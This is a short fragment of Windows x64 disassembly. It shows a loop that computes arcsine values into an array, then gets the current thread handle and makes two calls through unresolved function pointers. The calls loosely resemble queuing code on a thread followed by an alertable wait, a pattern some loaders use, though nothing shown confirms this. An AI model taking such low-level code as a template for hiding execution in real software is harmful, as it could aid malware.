movsd xmm1, qword [0x140006668]
subsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x7e8]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x640]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x7e8]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x640]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_asin
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x7e8], 0x96
jle 0x1400028e6
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x660]
mov r9, qword [rbp + 0x658]
mov r8d, 0
mov rcx, rax
call r9
mov rax, qword [rbp + 0x648]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov eax, 0
add rsp, 0x8e8
pop rbx
pop rsi
pop rdi
pop rbp
ret